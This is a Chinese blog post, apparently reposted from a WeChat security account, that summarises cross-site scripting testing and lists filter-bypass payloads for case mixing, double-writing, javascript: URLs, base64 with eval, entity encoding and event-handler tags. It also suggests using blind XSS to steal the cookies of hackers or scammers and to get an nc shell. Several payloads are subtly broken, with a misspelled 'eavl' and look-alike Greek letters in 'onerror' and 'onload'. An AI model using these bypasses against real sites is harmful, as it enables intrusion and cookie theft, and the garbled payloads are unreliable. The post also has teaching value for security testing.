XSS的个人总结篇

admin 2023年4月26日18:19:13评论40 views字数 2026阅读6分45秒阅读模式

我们对一个输入框进行xss的检测,思路的流程要清晰

首先第一步,我们针对一个输入框,先输入一个正常的东西,观察我们的值都被加载到了什么地方。

我们的正常思路是将我们传递的值存放的地方前面的标签要闭合,这是我们的常规思路,当然,这里肯定是要想办法闭合的,所以我们就需要开始第二步尝试,我们尝试危险参数插入进去,看看有哪些会被过滤掉。

第三步,我们就通过观察来使用我们学过的各种绕过,比如我们有某些字符被置空了,我们就可以尝试双写绕过,如果我们字符被加注释了,我们就可以尝试大小写绕过。

大致尝试了几种之后,也可以尝试对自己的payload代码进行一个url加密,加密之后我们再次上传,这里我们可以尝试多次加密,而不仅仅是一次,我们可以分析一下自己的代码是否被带入,我们可以先加密一段正常的闭合不含危险参数,来查看是否带入其中,然后逐步带入危险参数,看看有没有危险参数会被过滤掉,如果被过滤掉的话我们就可以将被过滤的那部分进行单独的多次加密,例如我们的script被过滤,我们就单独加密script一次,然后对整体再加密两次,这样我们被过滤的参数大概率可以通过。


关于xss盲打的思路。

xss盲打多用于我们传输一个危险参数提交如留言板之类,然后后台登录者或访问观看的时候触发我们的xss,同时反弹一个nc

这里黑客有一种叫木马盒子的东西,黑客通过散播自己的免杀木马,在免杀木马中添加了一个返回参数到自己的木马盒子中,然后使用者入侵网站后黑客就同样可以拿到这个网站权限。这里我们可以在返回给黑客的参数中插入一段xss,当黑客查看木马盒子后台的时候,就可以成功执行我们的xss,这样我们就获取到黑客的cookie。

同样的操作可以用于网络诈骗,或者其他,当对方要求你输入一个值的时候,你可以使用xss盲打,反向获取对方的信息。


总结:xss的绕过方式


1、大小写绕过

针对某些黑名单,没有将输入的参数转变为小写产生这个漏洞

payload:

<scRIpT>alErt(1)</ScrIpT>


2、双写绕过

针对将我们的敏感标签替换为空,但是未加循环验证导致

payload:

<scr<script>ipt>aleralert(1)t(1)</scr</script>ipt>

或者:

<scr<--that-->ipt>

第二种利用注释符将中间置空


3、js伪协议

这里针对一些输入被带入a标签中的src,或者利用a标签进行插入

payload:

javascript:alert(1)

java    script:alert(1)


4、编码转义

这里可以利用编码加密绕过一些关键词黑名单的过滤

payload:

<script>eavl(atob("PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="));</script> 

#eval()用于将字符串当作程序执行,atob()用于解密base64

<a href="data:text/html;base64",PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">1</a>


除了base64,我们也可以通过url多次编码来绕过,这里就不做演示。


5、实体编码绕过

这里其实就是利用<svg>标签将后面编码后的字符还原

payload:

<svg><script>alert&#40;1&#41;</script>


实体编码转换就是将ascii编码转unicode


6、平替符号绕过

其实就是一些符号被过滤,我们使用一些可以产生同样效果的符号进行替换。


用/代替空格

用反引号代替括号、双引号

用throw代替括号

用html实体编码&colon;代替冒号

用jsfuck编码绕过大部分字符过滤

用反单引号代替()

包括用-->注释符来把无法闭合的注释掉


7、其他非黑名单可用标签

<img src=1 οnerrοr=alert("xss");>

<input onfocus="alert('xss');">

<input οnblur=alert("xss") autofocus><input autofocus> #竞争焦点,触发onblur事件

<input onfocus="alert('xss');" autofocus> #通过autofocus属性执行本身的focus事件

<details ontoggle="alert('xss');">

<details open ontoggle="alert('xss');"> #使用open属性触发ontoggle事件

<svg οnlοad=alert("xss");>

<iframe οnlοad=alert("xss");></iframe>

<body/οnlοad=alert("xss");>


8、符号被编码

这里符号被实体编码,但是本身闭合的符号还有=可以用

在input标签中可以使用onclick来触发

x" onclick=alert(1) //


XSS的个人总结篇



原文始发于微信公众号(白安全组):XSS的个人总结篇

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月26日18:19:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS的个人总结篇https://cn-sec.com/archives/1693594.html

发表评论

匿名网友 填写信息